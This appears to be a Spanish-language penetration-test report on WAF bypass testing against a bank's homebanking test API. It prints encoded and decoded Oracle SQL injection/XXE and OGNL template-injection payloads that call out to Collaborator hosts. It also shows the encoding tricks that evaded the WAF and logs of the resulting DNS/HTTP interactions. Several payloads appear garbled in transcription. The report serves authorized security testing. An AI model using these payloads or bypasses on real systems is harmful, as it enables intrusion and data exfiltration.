



telecom

BANCO DE LA NACION ARGENTINA

Pentest (Pruebas de Intrusión)

Pruebas WAF - Informe Técnico

Actualización 16/10/2024

Tabla de Contenidos

Objetivos.....	3
Alcance.....	3
Pruebas de Intrusión.....	4
Actualización Pruebas 16/10/2024.....	9
Referencias.....	11

Objetivos

Se genera el siguiente documento para informar el detalle técnico de las pruebas de mitigación con el WAF activo realizadas sobre algunas de las vulnerabilidades detectadas durante el Pentest sobre el ambiente de test del homebanking.

Se incluyen las pruebas llevadas a cabo el día 16/10/2024 para poder realizar el monitoreo interno de los requests y payloads utilizados.

Alcance

Las pruebas se llevaron a cabo sobre la siguiente URL:

<https://digitaltest2.bna.com.ar/api/v1/execute/fce.list>

De igual manera, al codificar el payload completo de manera simple en formato URL encoded o HTML, el WAF lo interpretó y bloqueó correctamente.

```

11  Content-Type: text/html; charset=UTF-8
12  <html>
    <head>
      <title>
        Request Rejected
      </title>
    </head>
    <body>
      The requested URL was rejected. Please consult with your administrator.<br>
      Your support ID is: 10256711890128759563<br>
      <a href="javascript:history.back()">
        [Go Back]
      </a>
    </body>
  </html>

```

Selected text

"%28%73%65%6c%65%63%74%20%65%78%74%72%61%63%74%76%61%6c%75%65%28%78%6d%6c%74%79%70%65%28%27%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%5c%22%31%2e%30%5c%22%20%65%6e%63%6f%64%69%6e%67%3d%5c%22%55%54%46%2d%38%5c%22%3f%3e%3c%21%44%4f%43%54%59%50%45%20%72%6f%6f%74%20%5b%20%3c%21%45%4e%54%49%54%20%25%20%67%6f%61%67%74%20%53%59%53%54%45%4d%20%5c%22%68%74%74%70%3a%5c%2f%5c%2f%61%32%72%38%31%79%32%6e%30%73%62%70%37%72%67%35%6f%7a%64%64%69%66%6f%68%66%6e%38%62%7a%63%75%30%78%6f%70%62%67%7a%35%2e%6f%61%73%74%69%27%7c%7c%27%66%79%2e%63%6f%6d%5c%2f%5c%22%3e%25%67%6f%61%67%74%3b%5d%3e%27%29%2c%27%5c%2f%6c%27%29%20%66%72%6f%6d%20%64%75%61%6c%29"

Decoded from: URL encoding ▾

```
(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % goagt SYSTEM "\http://o2r2x1y2n0sbp7rg5ozddifohfn8bzcu0xopbgz5.oasti"|'fy.com/\ "%goagt;]>'), '\l') from dual)
```

Continuando con las pruebas, se testearon otras técnicas de codificación para determinar si el WAF contemplaba todos los escenarios, por ejemplo Unicode Escape:

```

gin: https://digitaltest2.bna.com.ar
:-Fetch-Site: same-origin
:-Fetch-Mode: cors
:-Fetch-Dest: empty
erer: https://digitaltest2.bna.com.ar/invoice
pt-Encoding: gzip, deflate, br
ority: u=1, i
nection: keep-alive

"searchType": "RECEIVED",
"status":
"\\u0028\\u0073\\u0065\\u006C\\u0065\\u0063\\u0074\\u0020\\u0065\\u0078\\u0072\\u0072\\u0061\\u0063\\u0074\\u0076\\u0061\\u006C\\u0075\\u0065\\u0028\\u0078\\u006D\\u006C\\u0074\\u0079\\u0070\\u0065\\u0028\\u0027\\u003C\\u003F\\u0070\\u006D\\u006C\\u0020\\u0076\\u0065\\u0072\\u0073\\u0069\\u006F\\u006E\\u003D\\u005C\\u0022\\u0031\\u002E\\u0030\\u005C\\u005C\\u0022\\u0020\\u0065\\u006E\\u0064\\u006F\\u006E\\u006F\\u006E\\u003D\\u003D\\u005C\\u0022\\u0055\\u0054\\u0006\\u0020\\u0038\\u005C\\u0022\\u003F\\u003E\\u003C\\u0021\\u0044\\u004F\\u0004\\u0054\\u0059\\u0050\\u0045\\u0020\\u0072\\u006F\\u006F\\u0074\\u0020\\u0058\\u0020\\u003C\\u0021\\u0045\\u004E\\u0054\\u0049\\u0054\\u0059\\u0020\\u0025\\u0020\\u0067\\u006F\\u0061\\u0067\\u0074\\u0020\\u0053\\u0059\\u0053\\u0005\\u0045\\u004D\\u0020\\u005C\\u0022\\u0068\\u0074\\u0074\\u0070\\u003A\\u005C\\u002F\\u005C\\u002F\\u006A\\u0064\\u0030\\u0062\\u0070\\u0030\\u006B\\u0072\\u0067\\u0079\\u0073\\u0037\\u0034\\u0038\\u007A\\u006A\\u0031\\u0079\\u0072\\u0073\\u007A\\u006A\\u0079\\u0032\\u0035\\u0074\\u0062\\u006B\\u007A\\u0061\\u006E\\u007A\\u002E\\u006F\\u0061\\u0073\\u0074\\u0069\\u0027\\u007C\\u0062\\u0066\\u0079\\u002E\\u0063\\u006F\\u006D\\u005C\\u002F\\u005C\\u0022\\u003E\\u0025\\u0067\\u006F\\u0061\\u0067\\u0074\\u003B\\u005D\\u003E\\u0027\\u0029\\u002C\\u0027\\u005C\\u002F\\u006C\\u006C\\u0027\\u0029\\u0020\\u0066\\u0072\\u006F\\u006D\\u0020\\u0064\\u0075\\u0061\\u006C\\u0029",
"debtorId": "30716549515",

```


En estas pruebas, se determinó que al utilizar la codificación Full-Width de Unicode, la petición no fue bloqueada por el WAF. Esta técnica de codificación es una debilidad conocida de ciertos WAF/IDS/IPS (Ver Referencias)

The screenshot shows the raw HTTP request and response. The request is a POST to /api/v1/execute/fce.list. The response is a JSON object with a 'code' of 'COR0001', an 'idTransaction' of '0ee18fbc5fc94bb79e31804e24ae3485', and a 'message' of 'Transacción realizada con éxito'.

Se detectó que sólo codificando las partes del payload que generaban el bloqueo, se podía bypassar la protección del WAF. En este ejemplo sólo se codificaron los paréntesis, la doble barra luego de “http:” y la palabra “dual”:

The screenshot shows the raw HTTP request and response. The request is a POST to /api/v1/execute/fce.list. The response is a JSON object with a 'code' of 'BAK001E', an 'idTransaction' of 'ba9d285fb7c74b9f8d8a2c08e7e67f92', and a 'message' of 'En este momento no pudimos realizar la operación. Por favor reintentá más tarde'.

```
( select extractvalue ( xmltype ( '<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?><!DOCTYPE root [ <!ENTITY % goagt SYSTEM \\"http: \\/ \\/ q3uif7ay65ieufpqr5hzipq9v01tptjd8.oasti' || ' fy.com\\/\\>%goagt;]> ' ), '\\\\' ) from dual )
```

Una vez logrado bypassar el WAF, se generaron diferentes subdominios de prueba para detectar actividad DNS o HTTP contra los mismos.

De todos los subdominios utilizados, se recibieron consultas solamente en dos. En la siguiente tabla se detalla en que ataques fueron utilizados, y en cuales obtuvimos interacciones:

Subdominio	Inyección SQL	Inyección de Plantilla	Interacciones DNS/HTTP
jd0bp0krqys748zj1yrszjy25tbkzanz.oastify.com	✓	✓	✓
ie0aqzlqhxt6570i2xsr0iz16sck0aoz.oastify.com	✓	✓	
q3uif7ay65ieufpqr5hzipqo9v01tpjd8.oastify.com	✓		✓
0klswhr8nfzobp608fy9605jcai46uuj.oastify.com		✓	
yfhqrfm6idum6n1y3dt71y0h78d41upj.oastify.com	✓		

Del primer subdominio, utilizado en ambos ataques, sólo se recibieron unas pocas consultas DNS:

# ^	Time	Type	Payload	Source IP address
1	2024-Oct-04 17:08:26.253 UTC	DNS	jd0bp0krqys748zj1yrszjy25tbkzanz	74.125.186.156
2	2024-Oct-04 17:08:26.365 UTC	DNS	jd0bp0krqys748zj1yrszjy25tbkzanz	172.253.192.29
3	2024-Oct-04 17:08:26.475 UTC	DNS	jd0bp0krqys748zj1yrszjy25tbkzanz	172.253.221.118
4	2024-Oct-04 17:08:26.588 UTC	DNS	jd0bp0krqys748zj1yrszjy25tbkzanz	172.253.192.23
5	2024-Oct-04 17:08:26.605 UTC	DNS	jd0bp0krqys748zj1yrszjy25tbkzanz	172.217.35.252
6	2024-Oct-04 17:08:26.809 UTC	DNS	jd0bp0krqys748zj1yrszjy25tbkzanz	74.125.76.3
7	2024-Oct-04 17:08:26.943 UTC	DNS	jd0bp0krqys748zj1yrszjy25tbkzanz	172.253.221.9

Luego se recibieron 450 interacciones en el transcurso de 3 días, de diferentes IP de origen, sobre el dominio q3uif7ay65ieufpqr5hzipqo9v01tpjd8.oastify.com, utilizado solamente en el ataque de Inyección SQL.

# ^	Time	Type	Payload	Source IP address
1	2024-Oct-04 20:20:26.816 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.253.194.137
2	2024-Oct-04 20:20:26.821 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.253.192.139
3	2024-Oct-04 20:20:27.265 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	66.102.6.9
4	2024-Oct-04 20:20:27.268 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.253.8.131
5	2024-Oct-04 20:20:27.272 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.253.210.4
6	2024-Oct-04 20:20:27.281 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	74.125.18.1
7	2024-Oct-04 20:20:27.284 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.253.210.8
8	2024-Oct-04 20:20:27.297 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	162.158.221.51
9	2024-Oct-04 20:20:27.302 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	162.158.221.51
10	2024-Oct-04 20:20:27.321 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.253.8.134
11	2024-Oct-04 20:20:27.391 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	18.217.41.112
12	2024-Oct-04 20:20:27.391 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	18.217.41.82
13	2024-Oct-04 20:20:27.394 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	18.217.41.77
14	2024-Oct-04 20:20:27.394 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	18.217.41.105
15	2024-Oct-04 20:20:27.394 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	3.139.136.129
16	2024-Oct-04 20:20:27.394 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	18.217.41.90
17	2024-Oct-04 20:20:27.415 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	18.217.41.112
18	2024-Oct-04 20:20:27.416 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	3.139.136.129
19	2024-Oct-04 20:20:27.514 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	34.98.143.75
20	2024-Oct-04 20:20:27.514 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	34.98.143.75
21	2024-Oct-04 20:20:27.557 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	3.145.130.105
22	2024-Oct-04 20:20:27.583 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	3.20.222.116
23	2024-Oct-04 20:20:27.633 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	66.102.6.224
24	2024-Oct-04 20:20:27.633 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	35.245.37.253
25	2024-Oct-04 20:20:27.876 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	34.98.143.75
26	2024-Oct-04 20:20:27.876 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	34.98.143.75
27	2024-Oct-04 20:20:28.001 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	35.245.37.253
28	2024-Oct-04 20:20:28.001 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	35.245.37.253
29	2024-Oct-04 20:20:29.186 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	109.70.100.126
30	2024-Oct-04 20:20:29.190 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	109.70.100.125
31	2024-Oct-04 20:20:29.370 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	109.70.100.65
32	2024-Oct-04 20:20:31.511 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	74.125.76.24

# ^	Time	Type	Payload	Source IP address
419	2024-Oct-05 22:53:33.864 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	157.255.28.133
420	2024-Oct-05 22:53:33.871 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	157.255.225.27
421	2024-Oct-05 22:53:34.309 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	58.251.94.154
422	2024-Oct-05 22:54:05.995 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	27.40.0.6
423	2024-Oct-05 22:54:05.996 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	27.40.0.6
424	2024-Oct-05 22:54:06.433 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	122.13.77.124
425	2024-Oct-06 02:51:20.778 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.70.245.100
426	2024-Oct-06 02:51:20.778 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.71.245.81
427	2024-Oct-06 02:51:20.953 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	149.34.252.56
428	2024-Oct-06 08:08:00.112 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.217.34.16
429	2024-Oct-06 08:08:10.889 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	220.130.12.22
430	2024-Oct-06 08:08:22.214 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	192.221.146.133
431	2024-Oct-06 08:08:33.009 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	131.221.81.26
432	2024-Oct-06 21:24:30.398 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	20.150.184.75
433	2024-Oct-06 21:24:30.405 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	20.150.226.9
434	2024-Oct-06 21:28:30.924 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	20.150.177.72
435	2024-Oct-06 21:28:30.997 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	20.150.177.72
436	2024-Oct-06 21:28:31.294 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	20.163.64.196
437	2024-Oct-06 21:28:34.812 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	20.163.64.196
438	2024-Oct-06 21:28:34.812 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	20.163.64.196
439	2024-Oct-06 21:28:44.491 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	13.89.168.118
440	2024-Oct-06 21:28:44.536 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	104.208.22.161
441	2024-Oct-06 21:28:56.887 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	13.89.169.99
442	2024-Oct-06 21:28:56.951 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	52.182.136.126
443	2024-Oct-06 21:28:57.186 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	52.165.26.177
444	2024-Oct-06 21:29:00.495 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	104.208.21.78
445	2024-Oct-06 21:29:01.483 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	52.165.26.177
446	2024-Oct-06 21:29:01.483 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	52.165.26.177
447	2024-Oct-06 22:06:40.672 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	172.253.13.146
448	2024-Oct-06 22:06:40.772 UTC	HTTP	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	185.82.218.208
449	2024-Oct-06 22:06:43.470 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	183.2.141.242
450	2024-Oct-06 22:06:43.862 UTC	DNS	q3uif7ay65ieufpqr5hzipqo9v01tpjd8	14.215.166.106
Description		DNS query		

El total de interacciones para este subdominio se encuentra en el archivo adjunto “Anexo Interacciones Collaborator.xlsx”

Actualización Pruebas 16/10/2024

Se ejecutaron pruebas con los payloads utilizando la codificación Full-Width de Unicode utilizada previamente para realizar el bypass del WAF, mientras en esta oportunidad era monitoreado internamente por parte de BNA en tiempo real.

Se utilizaron los siguientes subdominios:

- l8ut36qjstk69kx4aoev7ubp7gd71xpm.oastify.com
- ho9pj26f8p02pgd0qkurnqrlnct5hv5k.oastify.com

Los payloads codificados utilizados fueron:

```
(select extractvalue(xmltype('<?xml version=\''1.0\'\" encoding
=\''UTF-8\'\"?><!DOCTYPE root [ <!ENTITY % goagt SYSTEM \"http:
\\/\\/18ut36qjstk69kx4a0ev7ubp7gd71xpm.oasti'|'fy.com\\/\\/\">%go
agt;]>'),'\\1') from dual)
```

```
(select extractvalue(xmltype('<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?><!DOCTYPE root [ <!ENTITY % goagt SYSTEM \\"http://\\ho9pj26f8p02pgd0qkurnqrlnct5hv5k.oasti\\"|\\'fy.com\\\\">%goagt;]>'), '\\/l') from dual)
```

```
$ {#context['com.opensymphony.xwork2.dispatcher.ServletContext'].getResource('/').toURI().resolve('http://\//l8ut36qjstk69kx4aoev7ubp7gd71xpm.oastify.com.').toURL().hashCode()}
```

En las pruebas ejecutadas se comprobó que los payloads utilizados no eran bloqueados por el WAF:

[illegible]

o
n
d

Referencias

<https://www.kb.cert.org/vuls/id/739224>

<https://support.microfocus.com/kb/doc.php?id=3193302>

<https://research.ivision.com/request-mutation-and-why-waf-cant-save-you.html>

https://www.linkedin.com/posts/therceman_bug-bounty-tip-a-full-width-version-of-symbols-activity-7117595385300205569-7-gx